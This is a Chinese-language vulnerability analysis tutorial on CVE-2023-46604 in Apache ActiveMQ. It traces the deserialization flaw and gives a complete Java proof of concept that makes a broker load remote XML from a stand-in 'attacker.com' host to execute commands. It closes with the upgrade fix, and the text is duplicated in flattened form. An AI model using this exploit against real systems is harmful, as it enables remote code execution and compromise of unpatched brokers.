【Web实战】ActiveMQ漏洞分析保姆教程(CVE-2023-46604)
字数 1250 2025-08-10 08:28:42

ActiveMQ漏洞分析与利用教程(CVE-2023-46604)

漏洞概述

CVE-2023-46604是Apache ActiveMQ中的一个远程代码执行漏洞,影响版本为5.18.0至5.18.2。该漏洞源于ActiveMQ在反序列化过程中未对传入的类进行充分验证,攻击者可通过构造特殊的消息触发远程代码执行。

漏洞分析

1. 漏洞触发点

漏洞核心触发点在BaseDataStreamMarshaller类中,通过反射调用实例化一个构造函数传参为String的类。5.18.3版本增加了过滤规则,对传入类进行了判断,确保其继承自Throwable父类。

2. 触发流程分析

  1. 反序列化入口BaseDataStreamMarshaller.createThrowable方法

    • 通过tightUnmarsalThrowablelooseUnmarsalThrowable方法触发
    • 从传入的dataIn获取claszzmessage参数
  2. 触发点位置

    • ConnectionErrorMarshaller
    • ExceptionResponseMarshaller
    • MessageAckMarshaller
  3. 协议处理流程

    • 消息通过OpenWireFormat.doUnmarshal处理
    • 根据dataType选择对应执行器:
      • ExceptionResponseMarshaller对应31
      • ConnectionErrorMarshaller对应16
      • MessageAckMarshaller对应22
  4. TCP传输层

    • TcpTransport.readCommand()方法处理传入数据
    • wireFormat.unmarshal执行反序列化过程

漏洞利用

1. 消息发送机制

利用TcpTransport.oneway方法发送恶意构造的ExceptionResponse类:

// 创建连接工厂
ActiveMQConnectionFactory activeMQConnectionFactory = new ActiveMQConnectionFactory(ACTIVEMQ_URL);
// 创建连接
Connection connection = activeMQConnectionFactory.createConnection();
// 打开连接
connection.start();
// 获取oneway方法
((ActiveMQConnection)connection).getTransportChannel().oneway(exceptionResponse);

2. 利用链构造

利用ClassPathXmlApplicationContext类加载远程XML实现命令执行:

Throwable obj2 = new ClassPathXmlApplicationContext("http://attacker.com/poc.xml");
ExceptionResponse exceptionResponse = new ExceptionResponse(obj2);

3. 完整POC示例

import org.apache.activemq.ActiveMQConnectionFactory;
import org.apache.activemq.command.ExceptionResponse;
import org.springframework.context.support.ClassPathXmlApplicationContext;

import javax.jms.*;

public class MQ_POC {
    private static final String ACTIVEMQ_URL = "tcp://target:61616";
    private static final String QUEUE_NAME = "tempQueue";
    
    public static void main(String[] args) throws Exception {
        // 创建连接工厂
        ActiveMQConnectionFactory activeMQConnectionFactory = new ActiveMQConnectionFactory(ACTIVEMQ_URL);
        // 创建连接
        Connection connection = activeMQConnectionFactory.createConnection();
        // 打开连接
        connection.start();
        Throwable obj2 = new ClassPathXmlApplicationContext("http://attacker.com/poc.xml");
        ExceptionResponse exceptionResponse = new ExceptionResponse(obj2);

        ((ActiveMQConnection)connection).getTransportChannel().oneway(exceptionResponse);
        connection.close();
    }
}

漏洞调试流程

  1. 消息发送流程

    • 通过oneway()方法发送序列化数据
    • 经过多层传输处理最终通过TCP发送
  2. 服务端处理流程

    • TcpTransport监听61616端口接收数据
    • OpenWireFormat开始反序列化
    • 根据数据类型(31)进入looseUnmarshal方法
    • 调用looseUnmarsalThrowable方法
    • 反射实例化ClassPathXmlApplicationContext
    • 加载远程XML执行命令

修复方案

  1. 升级到ActiveMQ 5.18.3或更高版本
  2. 5.18.3版本增加了类过滤规则,确保传入类继承自Throwable

参考资源

  1. ActiveMQ消息发送机制
  2. ActiveMQ消息处理流程
  3. ClassPathXmlApplicationContext利用方法
ActiveMQ漏洞分析与利用教程(CVE-2023-46604) 漏洞概述 CVE-2023-46604是Apache ActiveMQ中的一个远程代码执行漏洞,影响版本为5.18.0至5.18.2。该漏洞源于ActiveMQ在反序列化过程中未对传入的类进行充分验证,攻击者可通过构造特殊的消息触发远程代码执行。 漏洞分析 1. 漏洞触发点 漏洞核心触发点在 BaseDataStreamMarshaller 类中,通过反射调用实例化一个构造函数传参为String的类。5.18.3版本增加了过滤规则,对传入类进行了判断,确保其继承自 Throwable 父类。 2. 触发流程分析 反序列化入口 : BaseDataStreamMarshaller.createThrowable 方法 通过 tightUnmarsalThrowable 或 looseUnmarsalThrowable 方法触发 从传入的 dataIn 获取 claszz 和 message 参数 触发点位置 : ConnectionErrorMarshaller ExceptionResponseMarshaller MessageAckMarshaller 协议处理流程 : 消息通过 OpenWireFormat.doUnmarshal 处理 根据 dataType 选择对应执行器: ExceptionResponseMarshaller 对应31 ConnectionErrorMarshaller 对应16 MessageAckMarshaller 对应22 TCP传输层 : TcpTransport.readCommand() 方法处理传入数据 wireFormat.unmarshal 执行反序列化过程 漏洞利用 1. 消息发送机制 利用 TcpTransport.oneway 方法发送恶意构造的 ExceptionResponse 类: 2. 利用链构造 利用 ClassPathXmlApplicationContext 类加载远程XML实现命令执行: 3. 完整POC示例 漏洞调试流程 消息发送流程 : 通过 oneway() 方法发送序列化数据 经过多层传输处理最终通过TCP发送 服务端处理流程 : TcpTransport 监听61616端口接收数据 OpenWireFormat 开始反序列化 根据数据类型(31)进入 looseUnmarshal 方法 调用 looseUnmarsalThrowable 方法 反射实例化 ClassPathXmlApplicationContext 类 加载远程XML执行命令 修复方案 升级到ActiveMQ 5.18.3或更高版本 5.18.3版本增加了类过滤规则,确保传入类继承自 Throwable 参考资源 ActiveMQ消息发送机制 ActiveMQ消息处理流程 ClassPathXmlApplicationContext利用方法